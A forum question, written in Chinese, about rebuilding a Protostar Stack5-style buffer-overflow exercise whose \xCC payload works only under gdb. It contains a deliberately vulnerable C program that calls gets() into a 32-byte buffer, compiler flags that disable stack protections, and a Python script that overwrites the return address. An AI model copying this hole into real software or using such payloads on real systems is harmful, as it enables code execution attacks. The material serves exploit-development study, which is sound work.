大家好我想在protostar中创建类似Stack5的类似文件 唯一的问题是,当我执行shellcode时,或只是\ xCC它只能在gdb中运行。
源代码
#include<stdlib.h>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
int main(int argc, char ** argv)
{
char container[32];
gets(container);
}
用于构建可执行文件的命令
gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g binary1.c -o binary1
例如\ x90中断
import struct
pad="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
eip=struct.pack("I",0xffffd6a0+4)
payload="\x90"*12+"\xCC"*4+"\x90"*12
print pad+eip+payload
我得到的所有结果都只是分段错误(转储)
图片展示 Image for comparison